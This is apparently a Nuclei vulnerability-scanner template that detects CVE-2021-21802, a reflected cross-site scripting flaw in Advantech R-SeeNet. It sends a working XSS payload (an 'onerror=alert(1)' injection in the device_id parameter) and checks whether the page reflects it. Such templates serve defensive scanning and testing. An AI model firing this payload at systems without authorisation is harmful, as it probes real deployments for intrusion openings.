nuclei-templates/cves/2021/CVE-2021-21802.yaml

id: CVE-2021-21802

info:
  name: Advantech R-SeeNet device_id parameter - Reflected Cross-Site Scripting (XSS)
  author: gy741
  severity: medium
  description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
  reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
  tags: cve,cve2021,r-seenet,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-21802
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"zlo onerror=alert(1) "'
          - 'Device Status Graph'
        part: body
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200